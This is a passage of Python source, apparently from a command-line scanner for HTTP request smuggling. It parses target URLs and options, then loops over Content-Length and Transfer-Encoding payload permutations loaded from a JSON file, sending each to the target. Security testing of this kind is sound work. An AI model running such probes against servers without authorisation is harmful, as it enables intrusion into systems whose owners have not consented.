utils.read_target_list(args.urls) 140 | 141 | if constants.file_not_found in urls: 142 | print(f"[{args.urls}] not found in your local directory") 143 | sys.exit(1) 144 | target_urls = urls 145 | 146 | if args.url: 147 | target_urls.append(args.url) 148 | 149 | for url in target_urls: 150 | result = utils.url_parser(url) 151 | try: 152 | json_res = json.loads(result) 153 | host = json_res['host'] 154 | port = json_res['port'] 155 | path = json_res['path'] 156 | 157 | # If host is invalid then it will exit 158 | if host is None: 159 | print(f"Invalid host - {host}") 160 | sys.exit(1) 161 | 162 | method = args.method.upper() if args.method else "POST" 163 | pattern = re.compile('GET|POST') 164 | if not (pattern.match(method)): 165 | print(constants.invalid_method_type) 166 | sys.exit(1) 167 | 168 | timeout = int(args.timeout) if args.timeout else 10 169 | retry = int(args.retry) if args.retry else 2 170 | 171 | # To detect the HRS it requires at least 1 retry count 172 | if retry == 0: 173 | print(constants.invalid_retry_count) 174 | sys.exit(1) 175 | 176 | square_left_sign = colored('[', constants.cyan, attrs=['bold']) 177 | plus_sign = colored("+", constants.green, attrs=['bold']) 178 | square_right_sign = colored(']', constants.cyan, attrs=['bold']) 179 | square_sign = "{}{}{:<16}".format(square_left_sign, plus_sign, square_right_sign) 180 | 181 | target_header_style_config = '{:<1}{}{:<25}{:<16}{:<10}' 182 | print(target_header_style_config.format('', square_sign, 183 | colored("Target URL", constants.magenta, attrs=['bold']), 184 | colored(":", constants.magenta, attrs=['bold']), 185 | colored(url, constants.blue, attrs=['bold']))) 186 | print(target_header_style_config.format('', square_sign, 187 | colored("Method", constants.magenta, attrs=['bold']), 188 | colored(":", constants.magenta, attrs=['bold']), 189 | colored(method, constants.blue, attrs=['bold']))) 190 | print(target_header_style_config.format('', square_sign, 191 | colored("Retry", constants.magenta, attrs=['bold']), 192 | colored(":", constants.magenta, attrs=['bold']), 193 | colored(retry, constants.blue, attrs=['bold']))) 194 | print(target_header_style_config.format('', square_sign, 195 | colored("Timeout", constants.magenta, attrs=['bold']), 196 | colored(":", constants.magenta, attrs=['bold']), 197 | colored(timeout, constants.blue, attrs=['bold']))) 198 | 199 | reports = os.path.join(str(Path().absolute()), constants.reports, host) 200 | print(target_header_style_config.format('', square_sign, 201 | colored("HRS Reports", constants.magenta, attrs=['bold']), 202 | colored(":", constants.magenta, attrs=['bold']), 203 | colored(reports, constants.blue, attrs=['bold']))) 204 | print() 205 | 206 | payloads = open('payloads.json') 207 | data = json.load(payloads) 208 | 209 | payload_list = list() 210 | 211 | for permute in data[constants.permute]: 212 | for d in data[constants.detection]: 213 | # Based on the retry value it will re-execute the same payload again 214 | for _ in range(retry): 215 | transfer_encoding_obj = permute[constants.transfer_encoding] 216 | hrs_detection(host, port, path, method, permute[constants.type], 217 | permute[constants.content_length_key], 218 | transfer_encoding_obj[constants.te_key], 219 | transfer_encoding_obj[constants.te_value], 220 | d[constants.type], 221 | d[constants.content_length], 222 | d[constants.payload], 223 | timeout) 224 | except ValueError as _: 225 | print(result) 226 | except KeyboardInterrupt as e: 227 | print(e) 228 | --------------------------------------------------------------------------------